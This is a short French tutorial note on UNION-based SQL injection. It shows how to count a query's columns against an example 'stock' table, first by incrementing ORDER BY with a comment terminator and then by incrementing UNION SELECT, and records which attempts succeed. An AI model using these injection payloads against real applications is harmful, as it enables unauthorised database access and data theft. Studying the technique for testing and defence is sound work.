Quand la requête sert à afficher des entrées (ex: liste d'objets), on peut ajouter des valeurs avec un UNION.
Il faut commencer par identifier le nombre d'entrées qu'attend le select

SELECT id, name, desc, price FROM stock WHERE name=[NAME]

Methode 1: ORDER BY

SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 1-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 2-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 3-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 4-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 5-- - : Erreur
=> 4 entrées

Methode 2: SELECT

SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,3 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,3,4 : Ok
=> 4 entrées